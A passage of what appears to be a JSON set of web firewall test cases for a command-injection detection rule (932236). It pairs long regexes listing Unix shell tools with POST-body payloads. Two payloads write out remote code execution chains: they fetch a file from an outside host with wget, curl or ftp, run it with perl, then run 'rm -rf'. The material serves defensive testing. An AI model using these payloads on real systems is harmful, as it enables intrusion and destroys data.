$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<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:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "arg value of \"Something „The Title”. After ;ifconfig something\" is blocked" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg1=Something+else+2+%26%238222%3BThe+Title%26%238221%3B.+After+something&arg2=system('dig%20cd%20/tmp;ftp%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;zip%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;tex%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;cut%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS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>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Positive test - RCE passed in one of the args" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;Something+%26%238222%3BThe+Title%26%238221%3B.+After+something;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)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0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(